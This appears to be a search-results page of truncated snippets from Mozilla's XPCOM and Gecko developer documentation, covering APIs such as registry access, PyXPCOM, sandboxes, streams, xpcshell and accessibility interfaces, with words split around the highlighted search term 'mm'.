mmer such as sorting may cause the structure to change and nodes may be inserted, removed, or replaced. the nsinavhistoryresult object returned by executequery()/executequeries() contains the list of matches to the given history or bookmarks query. these results are contained in a tree structure made up of nodes. a node's type can be retrieved using its type attribute. ...
The Publicity Stream API
when an user-initiated activity deemed attractive to potential consumers occurs. this spawns a doorhanger which allows the user to specify which users can view the activity, and (following successful login and authorization with the stream server) registers the activity in a stream at [address]. this stream can be pulled down by getpublicitystream() and helps determine the results for getuserreco
mmendedapps(). example use cases: 'adam got a high score in mafia wars', 'bethany bought a plane ticket to the caribbean', etc. activity is an object, formatted as per the fixme: deadlinkactivity streams open specification. onsuccess is a callback that will be invoked with no arguments if the activity is successfully posted. onerror is an error callback that will be invoked if the publicity ...
...red arguments are missing, or if unsupported arguments are present. getpublicitystream( onsuccess: <function>, { [ onerror: <function> ], [ for_apps: <list> ], [ since: <date> ], [ before: <date> ], [ count: <int> ]): provides a means for a web store to receive a list of the current user's socially relevant app activity by being called from an origin which hosts a web store. it is not reco
mmended that applications consume the publicity stream in any way (please use your own server for any in-app social aspects). it is suggested that the list be processed and condensed into an attractive, cohesive format for users (eg., multiple tweets show as 'adam tweeted 4 times'). onsuccess will be called with a single argument: a json list of the current user's socially relevant app activity in...
Toolkit API
the mozilla toolkit is a set of progra
mming interfaces (apis) built on top of gecko which provide advanced services to xul applications. ...
... the mozilla toolkit is a set of progra
mming interfaces (apis) built on top of gecko which provide advanced services to xul applications. ...
Accessing the Windows Registry Using XPCOM
the second parameter for open() and create() is the path to the key. as noted in the example above, you will need to escape backslashes within the string. the third parameter for open() and create() is the access mode. it is specified as a bitwise combination of flags defined on the interface. you can read the interface documentation for a full explanation, but we will show only the three most co
mmonly used modes here: access_read — for reading values, enumerating keys, and receiving notifications access_write — for setting values and creating sub keys access_all — access for all operations in addition to open() and create(), there are the openchild() and createchild() methods. you can call these methods on an already-opened registry key to open a child key. both methods take a...
...components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft", wrk.access_read); var subkey = wrk.openchild("windows\\currentversion", wrk.access_read); var id = subkey.readstringvalue("productid"); subkey.close(); wrk.close(); once you've opened a registry key, you can begin to make use of it. reading registry values probably the most co
mmon action associated with the windows registry is reading values. the simple example above shows how to read an existing string value. however, windows registry values can have several data types, so you need to ensure that you read the correct type. you can check the type of a value using the method getvaluetype(). this method returns an integer indicating the data type of the value. the data typ...
Creating a Python XPCOM component
r your component; the procedure is the same for any component, but will not work if python components weren't enabled. to register the component, touch the .autoreg (a hidden file) in the bin directory, or delete xpti.dat. then, the next time mozilla starts, it will rebuild the index of components, including any new one in the 'components' directory. it is helpful to then start mozilla from the co
mmand line to see if new components register successfully. generating implementation templates the module xpcom.xpt is used internally to process type information, but it has a nice feature - it can spit out a template for a python implementation of any interface. just execute this file as a script with the interface name as a param. for example: % cd c:\mozilla\bin\python\xpcom % python xpt.py nsis...
...ed, the following 2 are also needed. # _reg_clsid_ = "{a new clsid generated for this object}" # _reg_contractid_ = "the.object.name" def get_value( self ): # result: string pass def set_value( self, param0 ): # result: void - none # in: param0: string pass as you can see, the output is valid python code, with basic signatures and useful co
mments for each of the methods. testing it to see this work, you will have to start firefox from the co
mmand line, since that'll be where the stuff will be printed out. external links creating xpcom components, on which this short tutorial is based. a three-part tutorial on ibm developerworks: getting to know pyxpcom - info on building pyxpcom (and maybe mozilla) to get it to work. ...
Generating GUIDs
add-ons can (and should) be identified with ids of the form extensionname@organization.tld since firefox 1.5. warning: if you just want an id for your add-on, generating a guid is almost definitely not what you want to do. using the extensionname@organization.tld form is approximately one thousand times easier for everyone involved. don't have a domain name? do you have a blog on a subdomain? use that. ...
... do. using the extensionname@organization.tld form is approximately one thousand times easier for everyone involved. don't have a domain name? do you have a blog on a subdomain? use that. if all else fails, using extensionname@yourusername.addons.mozilla.org should be fine; no one will care. remember, these are identifiers, not e-mail addresses, and they're never resolved. canonical form the co
mmon form of a guid is xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx, where each x stands for a hexadecimal digit. there are a number of tools that can be used to generate a guid in the canonical form. note: if you do choose to use an email-style id for your add-on, you probably don't want it to be a real email address, since it might attract spam. online tools generate guid online uuid (guid) genera...
Generic factory
rick potts wrote a templated-based generic factory (nsfactory<t>) that simplifies the factory creation process that just requires writing a createinstance() method. the new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed. here is the interface, and a description of its use. /** * provides a generic nsifactory implementation that can be used by * dlls with very simple factory needs. ...
... ...
XPCOM array guide
g various objects. it can be used to hold objects directly, not just pointers to objects. usage it is most often used as a member of a c++ class to store a list of well-typed objects. it is also usually declared as an inline member rather than a pointer. for example, here is its use in a class: class medialist { public: void addmedium(const nsstring& amedium); private: nstarray<nsstring>
mmedia; }; // typesafety of
mmedia ensures that we only append an nsstring void nodecontainer::addmedium(const nsstring& amedium) {
mmedia.appendelement(amedium); } nstarray<t> can also be declared on the stack to collect a temporary list of objects and manipulate them. when the object goes out of scope, all its members have their destructors called. note that if the nstarray<t> holds pointers...
...merators are the preferred mechanism for accessing these structures because they hide the details of the implementation behind the interface. nsisimpleenumerator nsisimpleenumerator is a generic enumerator for enumerating a list of any xpcom object. there are many implementations of nsisimpleenumerator, including one that enumerates nsiarray objects, and another one for nscomarray. it is very co
mmon for other interfaces which support nsisimpleenumerator to make their own implementations. nsistringenumerator string enumerators provide an easy way to pass a list of strings around with minimal copying. both unicode strings and utf8-encoded strings are supported. for more information about the different types of strings, see the string guide. string enumerators can be created from nstarray<...
XPCOM changes in Gecko 2.0
irst run by looking up what platform you're on and changing the preferences at that time. category registration prior to gecko 2, extensions could listen for the xpcom-startup and app-startup notifications during startup, and perform actions during those. this is no longer the case. the earliest startup notification extensions can receive now is profile-after-change, which has always been the reco
mmended notification to observe. that's because it's among the earliest notifications that occurs after the profile folder (and therefore preferences and other services) is available. what you need to change if your extension currently observes either xpcom-startup or app-startup, you need to update your code to observe profile-after-change instead. typically, extensions observed app-startup because...
...uld simply remove it from your manifest. miscellaneous xpcnativewrapper changes using the delete operator on "expando" properties of an xpcnativewrapper no longer throws a security exception. xpcomutils.jsm changes the xpcomutils.jsm code module has been updated to let you specify the application ids of the applications you wish to register your component in. xpcom service getters a number of co
mmonly used xpcom services now have service getter functions available in the mozilla::services namespace; these make it much easier to get access to these services from c++ code. ...
Using XPCOM Components
tion core with a technology called xpconnect. xpconnect allows interface methods defined via xpidl to be called from javascript, as part of javascript objects that represent instances of components like the cookiemanager. xpconnect is what binds the application code to the user interface of the mozilla browser, to other gecko-based xul, and to javascript environments like xpcshell, which is a co
mmand-line javascript interpreter and xpcom tool is built with mozilla. see http://www.mozilla.org/scriptable/ for more information about xpconnect and javascript. this isn't quite all there is to it, of course, but this shows an important aspect of xpcom. the contractual arrangements that xpcom enforces open up the way to binary interoperability - to being able to access, use, and reuse xpcom co...
...ping capabilities of xpcom. it is handled by the queryinterface method, which was introduced in the chapter an overview of xpcom. the xpcom api reference provides a full reference of the xpcom components available in mozilla. the weblock component now it's time to look at the weblock component as another example of xpcom components (since you'll be creating it shortly). in object-oriented progra
mming, it's typical to design the interface first-to define the functionality that's going to be provided in the abstract, without worrying about how this functionality will be achieved. so we'll put aside the details of the implementation until the next chapter and look at the component from the outside-at the interface to the weblock component. the iweblock interface lock lock the br...
Creating XPCOM components
ing along with the examples conventions acknowledgements an overview of xpcom the xpcom solution gecko components interfaces interfaces and encapsulation the nsisupports base interface xpcom identifiers cid contract id factories xpidl and type libraries xpcom services xpcom types method types reference counting status codes variable mappings co
mmon xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from script component internals creating components in cpp xpcom initialization xpcom registry manifests ...
...gistration the regxpcom program registration alternatives overview of the weblock module source digging in: required includes and constants identifiers in xpcom coding for the registration process the registration methods creating an instance of your component weblock1.cpp using xpcom utilities to make things easier xpcom macros generic xpcom module macros co
mmon implementation macros declaration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers starting weblock getting called at startup registering for notifications getting access to the category manager providing access to weblock creating the weblock progra
mming interface defining the weblock interface in xp...
Inheriting from implementation classes
that's not inherently multiple inheritance, though, because you only mix in interfaces (i.e. the problem would not exist with java's interfaces). example problem you have interfaces a and b, b inherits from a, and you have implementation classes for both a and b, and you want the implementation class for b to inherit from the implementation class for a. the latter is the problem. the lacking virtual in the generated ib c++ abstract class doesn't make things easier. ...
...ts_inherited1(c, b, ic) ns_imethodimp c::funcc() { ... } threadsafe if you want to make this threadsafe, you can replace ns_impl_isupports1(a, ia) with ns_impl_threadsafe_isupports1(a, ia) in the base implementation class only (e.g. a here). the rest stays as-is. the inheriting classes (b, c here) don't need to change their macros. see also dbaron's coding practices nsisupportsimpl.h co
mments author ben bucksch. ...
XPCOM Stream Guide
er for data coming out of something. at the same time, there may be some way to put water into the tank - say, a main water line. that water line represents an output stream: a controller for data going into something. the actual data going in to and coming out of an object isn't usually important to a stream. streams simply provide a way to read or write data to some object. in basic c++ progra
mming for a console application, we usually talk about streams to access files, or to interact with the user. mozilla's use of streams is more complex. on the one hand, we don't interact with the user through streams. on the other hand, we use streams to access files within a zip archive, to store and provide data coming from websites, even to talk to other programs on the same computer through "pip...
...ou can use the io service to get any channel, and from there an input stream. the io service is available through the services.jsm module as the .io property. stream listeners a stream listener is an object you build to let you know when there is data in a stream ready for you to consume. most streams are asynchronous: they make no assumptions that all the data a resource provides is available i
mmediately. (this is particularly true of streams that reach out over a network connection, like http and ftp channels.) stream listeners implement three methods. from the nsistreamlistener interface, the .ondataavailable(request, context, inputstream, offset, count) method gives you the input stream and the number of bytes available. the stream listener must read exactly count bytes before exiting...
Interfacing with the XPCOM cycle collector
e objects' reference counts are all accounted for by internal pointers within the group, it considers that group cyclical garbage, which it then attempts to free. this is the unlinking stage of the collectors operation. in this stage the collector walks through the garbage objects it has found, again consulting with their helper objects, asking the helper objects to "unlink" each object from its i
mmediate children. note that the collector also knows how to walk through the js heap, and can locate ownership cycles that pass in and out of it. how the collector can fail the cycle collector is a conservative device. there are situations in which it will fail to collect a garbage cycle. it does not suspect any pointers by default; objects must suspect themselves, typically by using an nscyc...
...ther than a nsautorefcnt. it only traverses objects that return a helper object when qi'ed to nsicyclecollectionparticipant. if it encounters an unknown edge during its traversal, it gives up on that edge; this means that every edge involved in a cycle must be participating, otherwise the cycle will not be found. the traverse and unlink methods on the helper object are not magic; they are progra
mmer-supplied and must be correct, or else the collector will fail. the collector does not know how to find temporary owning pointers that exist on the stack, so it is important that it only run from near the top-loop of the program. it will not crash if there are extra owning pointers, but it will find itself unable to account for the reference counts it finds in the owned objects, so may fail to ...
Components.classes
a service (a singleton component, only single instance of which exists at any time), you should use getservice instead of createinstance: var os = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); the first time anyone accesses a service, the corresponding component is created under the hood. ...
...pports-array;1"]; var inst = new clazz(components.interfaces.nsisupportsarray); this implicitly calls the createinstance() method for you. you still have to provide the interface name each time you create an instance, which is not necessary when using components.constructor. determining if a component has to be instantiated or used as a service in the general case it is not possible to progra
mmatically determine if a given component has to be instantiated or used as a service. often, this is stated in the documentation of the component you want to use. if this is not the case, you might want to try and find example usages of that component within mxr. ...
Components.utils.Sandbox
scripts should pass the window they're running in as this parameter, in order to ensure that the script is cleaned up at the same time as the content itself. sandboxname a string value which identifies the sandbox in about:memory (and possibly other places in the future). this property is optional, but very useful for tracking memory usage of add-ons and other javascript compartments. a reco
mmended value for this property is an absolute path to the script responsible for creating the sandbox. as of gecko 13 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10), if you don't specify a sandbox name it will default to the caller's filename. sandboxprototype a prototype object for the sandbox. the sandbox will inherit the contents of this object if it's provided. passing a content win...
...ector will take care of this when there are no remaining references to the sandbox or the code it contains. however, in some cases it can be difficult to remove all references. for example, the code in the sandbox might be a third-party library that sets expando properties or adds event listeners to a window. in this case, components.utils.nukesandbox can be used to force the sandbox to be freed i
mmediately. example executing in current tab scope more ways to load scripts into a sandbox can be found on the loading scripts page. this example is to be run from scratchpad with environemnt set to browser. it alerts the dollar sign function. this code was tested on twitter.com and gets access to the jquery $. var sandboxscript = 'alert($)'; var options = { sandboxprototype: content, ...
JavaXPCOM
javaxpcom is not actively maintained. with javaxpcom, a developer can talk to xpcom or embed gecko from a java application. javaxpcom is very similar to xpconnect (javascript-xpcom bridge), and uses xpidl. note: javaxpcom was included in xulrunner up through version 1.9.2. it has been removed in xulrunner 2, and is not actively maintained. documentation javaxpcom development how to get and build the source, as well as how to view and report bugs. ...
...ive examples on how to embed gecko or init xpcom from within java. embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects. as you will see in this article, working with xpcom objects in java is not that much different than doing so in c++. view all... co
mmunity view mozilla embedding forums... mailing list newsgroup rss feed related topics xpcom, embedding mozilla ...
PyXPCOM
pyxpcom is actively used in activestate komodo products, for example. with pyxpcom, a developer can talk to xpcom or embed gecko from a python application. pyxpcom is similar to javaxpcom (java-xpcom bridge) or xpconnect (javascript-xpcom bridge). mozilla defines many external interfaces available to embeddors and component developers. pyxpcom provides access to these interfaces as python interfaces. ...
... find them on the ibm site. please update this page if/when the links can be found. history pyxpcom was initially developed by activestate tool corporation, and came out of their komodo project. current releases are now integrated with the mozilla build system. other resources pythonext - extension that provides pyxpcom samples - demo applications using pyxpcom co
mmunity python-xpcom bindings mailing list (activestate) #pyxpcom on irc.mozilla.org source code the pyxpcom code is available here: http://hg.mozilla.org/pyxpcom/ to build pyxpcom, see building pyxpcom. related topics xpcom pydom: replace javascript with python python-spidermonkey ...
HOWTO
solution 1. ...
...t_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/co
mm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> // <https://bugzilla.mozilla.org/show_bug.cgi?id=546628> let cc = components.classes; let ci = components.interfaces; // register resource://app/ uri let ios = cc["@mozilla.org/network/io-service;1"] ...
XPCshell Test Manifest Expressions
...
...pointer size of the cpu architecture, in bits one of 32, 64, possibly unknown debug - set to true if this build is a debug build, false otherwise crashreporter - set to true if this build has crash reporting code enabled, false otherwise. co
mments if an expression contains a # (pound/hash) character outside of a string, the character and the rest of the line will be treated as a co
mment. this is useful as the entire line will generally be reported whenever tests are reported as being skipped, meaning the co
mment as well as the expression itself will appear in any logs where this is reported. ...
xpcshell
un-mozilla.sh just pick one, cd over there, and run-mozilla.sh xpcshell, if it's present. (however, it might not be there if you have a non-debug version of firefox, mozilla, thunderbird, etc.) $ cd /opt/mozilla $ ./run-mozilla.sh ./xpcshell js> execute xpcshell from window the built xpcshell.exe can't be executed under the mozilla build shell(bash). it should be executed under the window co
mmand prompt source_directory/obj-xxxxx/dist/bin> xpcshell.exe using the latest version of javascript at present, xpcshell doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available. to rectify this, run xpcshell with the -v 180 co
mmand-line option, which tells xpcshell to use javascript 1.8. example you ca...
...doesn't use the latest version of javascript, so newer language features, such as the let statement introduced in javascript 1.7, are not available. to rectify this, run xpcshell with the -v 180 co
mmand-line option, which tells xpcshell to use javascript 1.8. example you can input javascript, straight to mozilla. js> 5+7 12 js> print("hello, world!") hello, world! js> see also howto for co
mmon problems in writing xpcshell scripts, e.g., doing async network calls or using js modules. pretty much all mozilla programs use xpcom components via xpconnect. read xpconnect:using components to get started with that. see the xpcshell reference for information on co
mmand line arguments and extension functions. learn how to write xpcshell-based unit tests. read xpcshell:profiling for inform...
Language bindings
javaxpcom is not actively maintained.plxpcomplxpcom (perl xpcom) provides language bindings letting you use xpcom from perl code. the resources here provide information about this language binding and how to use it.pyxpcompyxpcom allows fo...
...ation between java and xpcom, such that a java application can access xpcom objects, and xpcom can access any java class that implements an xpcom interface. javaxpcom is not actively maintained.plxpcomplxpcom (perl xpcom) provides language bindings letting you use xpcom from perl code. the resources here provide information about this language binding and how to use it.pyxpcompyxpcom allows for co
mmunication between python and xpcom, such that a python application can access xpcom objects, and xpcom can access any python class that implements an xpcom interface. pyxpcom is actively used in activestate komodo products, for example.rbxpcomrbxpcom (ruby cross-platform com) provides bindings between the popular ruby progra
mming language and xpcom. you can find additional information using the re...
nsDependentCString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use. ...
...t nscstring&, const nscstring&) - source parameters nscstring& atarget nscstring& anewvalue void replacesubstring(const char*, const char*) - source parameters char* atarget char* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be tri
mmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string. you can control whether...
nsDependentString
this class does not own its data, so the creator of objects of this type must take care to ensure that a nstdependentstring continues to reference valid memory for the duration of its use. ...
...st nsstring&) - source parameters nsstring& atarget nsstring& anewvalue void replacesubstring(const prunichar*, const prunichar*) - source parameters prunichar* atarget prunichar* anewvalue trim void trim(const char*, prbool, prbool, prbool) - source this method trims characters found in atrimset from either end of the underlying string. @param aset -- contains chars to be tri
mmed from both ends @param aeliminateleading @param aeliminatetrailing @param aignorequotes -- if true, causes surrounding quotes to be ignored @return this parameters char* aset prbool aeliminateleading prbool aeliminatetrailing prbool aignorequotes compresswhitespace void compresswhitespace(prbool, prbool) - source this method strips whitespace from string. you can control whether...
RefPtr
that nscomptr is not used to hold a pointer to a concrete class since this can cause compile time errors or runtime errors. bug 756640 is on file to enforce this rule but hasn't yet been fixed. while refptr should not generally be used to hold a pointer to an xpcom interface, this is flexible. there are no technical problems with doing so, and in some cases it may be necessary (see bug 756640 co
mment 1). for example, we have template classes such as owningnullptr that can contain a refptr to an xpcom interface. xxx it's not clear that the details in the following paragraph are correct. it was derived from an old #developers discussion. it's unclear to me when the compiler will reject an attempt to use nscomptr to hold a concrete class pointer and when it will not (will it only rejecte it ...
... contain a refptr to an xpcom interface. xxx it's not clear that the details in the following paragraph are correct. it was derived from an old #developers discussion. it's unclear to me when the compiler will reject an attempt to use nscomptr to hold a concrete class pointer and when it will not (will it only rejecte it if a qi is involved in the construction or or assignment to the nscomptr (co
mmon in implementation details of nscomptr) but not when an instance of the concrete class is assigned directly?). and it's not clear what happens when the compiler does accept this pattern. what goes wrong at runtime - uaf? memory leak? qi failure and null-deref crashes?. note: in the above example, "nscomptr<nsfoo>" might compile and work ok (it won't if your xpcom class multiply-inherits nsisupp...
IAccessibleAction
ces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object. each action can be performed or queried for a name, description or associated key bindings. actions are needed more for ats that assist the mobility impaired, such as on-screen keyboards and voice co
mmand software. by providing actions directly, the at can present them to the user without the user having to perform the extra steps to navigate a context menu. the first action should be equivalent to the msaa default action. if there is only one action, iaccessibleaction should also be implemented. method overview [propget] hresult description([in] long actionindex, [out] bstr description ); ...
...e returned strings are the localized human readable key sequences to be used to activate each action, e.g. "ctrl+shift+d". since these key sequences are to be used when the object has focus, they are like mnemonics (access keys), and not like shortcut (accelerator) keys. there is no need to implement this method for single action controls since that would be redundant with the standard msaa progra
mming practice of getting the mnemonic from get_acckeyboardshortcut. an at such as an on screen keyboard might not expose these bindings but provide alternative means of activation. [propget] hresult keybinding( [in] long actionindex, [in] long nmaxbindings, [out, size_is(,nmaxbindings), length_is(, nbindings)] bstr keybindings, [out] long nbindings ); parameters actionindex 0 based index ...
IAccessibleComponent
e s_ok. foreground() returns the foreground color of this object. [propget] hresult foreground( [out] ia2color foreground ); parameters foreground the returned color is the foreground color of this object or, if that is not supported, the default foreground color. return value s_ok. locationinparent() returns the location of the upper left corner of the object's bounding box relative to the i
mmediate parent object. the coordinates of the bounding box are given relative to the parent's coordinate system. the coordinates of the returned position are relative to this object's parent or relative to the screen on which this object is rendered if it has no parent. if the object is not on any screen the returned position is (0,0). [propget] hresult locationinparent( [out] long x, [out] lon...
.... the coordinates of the returned position are relative to this object's parent or relative to the screen on which this object is rendered if it has no parent. if the object is not on any screen the returned position is (0,0). [propget] hresult locationinparent( [out] long x, [out] long y ); parameters x the x coordinate of the upper left corner of the object's bounding box relative to the i
mmediate parent object. y the y coordinate of the upper left corner of the object's bounding box relative to the i
mmediate parent object. return value s_ok. ...
IAccessibleTable
this object could be an iaccessible or an iaccessible2. [propget] hresult accessibleat( [in] long row, [in] long column, [out] iunknown accessible ); parameters row the 0 ba...
... cotaskmemfree. nrows the number of row indexes returned; the size of the returned array. return value s_false if there are none, [out] values are null and 0 respectively. s_ok. selectrow() selects a row and unselects all previously selected rows. hresult selectrow( [in] long row ); parameters row 0 based index of the row to be selected. return value e_invalidarg if bad [in] passed. s_ok. su
mmary() returns the su
mmary description of the table. the returned object could be an iaccessible or an iaccessible2. [propget] hresult su
mmary( [out] iunknown accessible ); parameters accessible returns a reference to an implementation dependent accessible object representing the table's su
mmary or a null pointer if the table does not support a su
mmary. return value s_false if there is nothing...
IAccessibleTable2
the returned object could be an iaccessible or an iaccessible2. [propget] hresult caption( [out] iunknown accessible ); parameters accessible if the table has a caption then a reference to it is returned, else a null pointe...
...vior should be as follows: first any selected rows in the table are unselected. then the entire row of cells for the specified row is selected. if any of the cells in the selected row span additional rows, the cells in those rows are also selected. hresult selectrow( [in] long row ); parameters row 0 based index of the row to be selected. return value e_invalidarg if bad [in] passed. s_ok. su
mmary() returns the su
mmary description of the table. the returned object could be an iaccessible or an iaccessible2. [propget] hresult su
mmary( [out] iunknown accessible ); parameters accessible returns a reference to an implementation dependent accessible object representing the table's su
mmary or a null pointer if the table does not support a su
mmary. return value s_false if there is nothing...
mozIRegistry
s information came to be associated with the notion of a "registry." someday (i hope) this page will be properly titled so that everybody knows it is the place to come to in order to find out how they are supposed to link together the various xpcom components that together form the mozilla browser. the information below is intended to tell you everything you need to know about how to do that. su
mmary clients will rely on nsrepository to create instances of a given class. clients requiring dynamic "binding" of clsids will be required to use some higher-level services (tbd) to figure out the clsids they should use. the intent is that such services themselves be built on top of the new moziregistry interface. we are proposing a new "moziregistry" xpcom interface that provides the same level ...
...l file so that it can easily be viewed edited. it will also facilitate building a browser-based application that will allow people to display and edit its contents. original document information author: bill law last updated date: january 21, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
nsIAccessibleTable
accessible/public/nsiaccessibletable.idlscriptable please add a su
mmary to this article. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiaccessible getcellat(in long rowindex, in long columnindex); note: renamed from cellrefat in gecko 1.9.2 long getcellindexat(in long rowindex, in long columnindex); note: renamed from getindexat in gecko 1.9.2 astring getcolumndescription(in long columnindex); long getcolumnextentat(in long row, in long column); long getcolumnindexat(in long cellindex); note: renamed from getcolumnatindex in gecko 1.9.2 void getrowandcolumnindicesat(in long cellindex, out long rowindex, out long columnindex); astring getrowde...
...gecko 1.9.2 selectedcells nsiarray an array of selected cells. read only. selectedcolumncount unsigned long the total number of selected columns. read only. note: renamed from selectedcolumnscount in gecko 1.9.2 selectedrowcount unsigned long the total number of selected rows. read only. note: renamed from selectedrowscount in gecko 1.9.2 su
mmary astring the su
mmary description for the table. for example, @su
mmary attribute on html:table element. read only. methods return the accessible object at the specified row and column in the table. if both row and column index are valid then the corresponding accessible object is returned that represents the requested cell regardless of whether the cell is currently visible (on the...
nsIAppShellService
eract if false and ui is needed, will fail. ensure1window() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) ensures that at least one window exists after creating the startup state. if one has not been made, this will create a browser window. void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the co
mmand line from which startup args can be read. enterlastwindowclosingsurvivalarea() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) during application startup (and at other times!) we may temporarily encounter a situation where all application windows will be closed but we do not want to take this as a signal to quit the application. bracket the...
... the event loop, shut down the app. void quit( in pruint32 aferocity ); parameters aferocity one of the e* constants. createwindowlessbrowser() this method creates a browser that does not have a window. if the browser is exited, this windowless browser will not prevent firefox from exiting. e10s notes: the browser is created in process. to get an out of process element you want to co
mmunicate with via message manager, then append a browser element with remote attribute set to true. follow this bug - bugzilla - bug 1280028 nsiwebnav createwindowlessbrowser( in bool aischrome ); var webnav = services.appshell.createwindowlessbrowser(true); var docshell = webnav.queryinterface(ci.nsiinterfacerequestor).getinterface(ci.nsidocshell); var systemprincipal = cc["@mozilla.org/sy...
nsIAsyncInputStream
inherits from: nsiinputstream last changed in gecko 1.7 if an input stream is non-blocking, it may return ns_base_stream_would_block when read. the caller must then wait for the stream to have some data to read. if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes readable or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsiinputstream.isnonblocking() return true. ...
...ncwait again from the notification handler. this method may be called at any time (even if read has not been called). in other words, this method may be called when the stream already has data to read. it may also be called when the stream is closed. if the stream is already readable or closed when asyncwait is called, then the nsiinputstreamcallback.oninputstreamready() event will be dispatched i
mmediately. otherwise, the event will be dispatched when the stream becomes readable or closed. void asyncwait( in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget ); parameters acallback this object is notified when the stream becomes ready. this parameter may be null to clear an existing callback. aflags this para...
nsIAsyncOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 if an output stream is non-blocking, it may return ns_base_stream_would_block when written to. the caller must then wait for the stream to become writable. if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes writable or closed (via the asyncwait() method). while this interface is almost exclusively used with non-blocking streams, it is not necessary that nsioutputstream.isnonblocking() return true. ...
...ain from the notification handler. this method may be called at any time (even if write has not been called). in other words, this method may be called when the stream already has room for more data. it may also be called when the stream is closed. if the stream is already writable or closed when asyncwait is called, then the nsioutputstreamcallback.onoutputstreamready() event will be dispatched i
mmediately. otherwise, the event will be dispatched when the stream becomes writable or closed. void asyncwait( in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget ); parameters acallback this object is notified when the stream becomes ready. this parameter may be null to clear an existing callback. aflags this par...
nsIAuthPrompt2
provided. level_pw_encrypted 1 password will be sent encrypted, but the connection is otherwise insecure. level_secure 2 the connection, both for password and data, is secure. methods asyncpromptauth() asynchronously prompt the user for a username and password. this has largely the same semantics as nsiauthprompt.promptusernameandpassword(), but must return i
mmediately after calling and return the entered data in a callback. if the user closes the dialog using a cancel button or similar, the callback's nsiauthpromptcallback.onauthcancelled() method must be called. calling nsicancelable.cancel() on the returned object should close the dialog and must call nsiauthpromptcallback.onauthcancelled() on the provided callback. this implementation may: coal...
...uthinformation authinfo ); parameters achannel the channel that requires authentication. acallback acontext level one of the level constants. authinfo authentication information object. the implementation should fill in this object with the information entered by the user before returning. return value promptauth() requests a username and a password. implementations will co
mmonly show a dialog with a username and password field, depending on flags also a domain field. note: exceptions thrown from this function will be treated like a return value of false. boolean promptauth( in nsichannel achannel, in pruint32 level, in nsiauthinformation authinfo ); parameters achannel the channel that requires authentication. level one of the level constants. authin...
nsIBrowserSearchService
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/browser/search-service;1. to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization. ...
...e the service to fall back to a slower, synchronous, initialization. if your code requires nsibrowsersearchservice and is executed during startup, you should make sure that this code is executed from the callback to init(). void init( [optional] in nsibrowsersearchinitobserver observer ); parameters observer if specified, a callback called once initialization is complete, or i
mmediately, if the service has already been initialized. in javascript, this observer can be a regular function. moveengine() moves a visible search engine. void moveengine( in nsisearchengine engine, in long newindex ); parameters engine the engine to move. newindex the engine's new index in the set of visible engines. exceptions thrown ns_error_failure ...
nsIChannel
or the channel. this is set by clients, who wish to provide a means to receive progress, status and protocol-specific notifications. if this value is null, the channel implementation may use the notification callbacks from its load group. the channel may also query the notification callbacks from its load group if its notification callbacks do not supply the requested interface. interfaces co
mmonly requested include: nsiprogresseventsink, nsiprompt, and nsiauthprompt / nsiauthprompt2. when the channel is done, it must not continue holding references to this object. note: a channel implementation should take care when "caching" an interface pointer queried from its notification callbacks. if the notification callbacks are changed, then a cached interface pointer may become inval...
...ference to the channel, care must be taken to explicitly drop its reference to the channel. securityinfo nsisupports transport-level security information (if any, else null) corresponding to the channel, normally presented through the interfaces nsitransportsecurityinfo and nsisslstatusprovider read only. uri nsiuri the uri corresponding to the channel. its value is i
mmutable. read only. constants channel specific load flags: bits 23-31 are reserved for future use by this interface or one of its derivatives (for an example see nsicachingchannel). constant value description load_document_uri 16 set (for example by the docshell) to indicate whether or not the channel corresponds to a document uri. load_retargeted_do...
nsIClipboardDragDropHooks
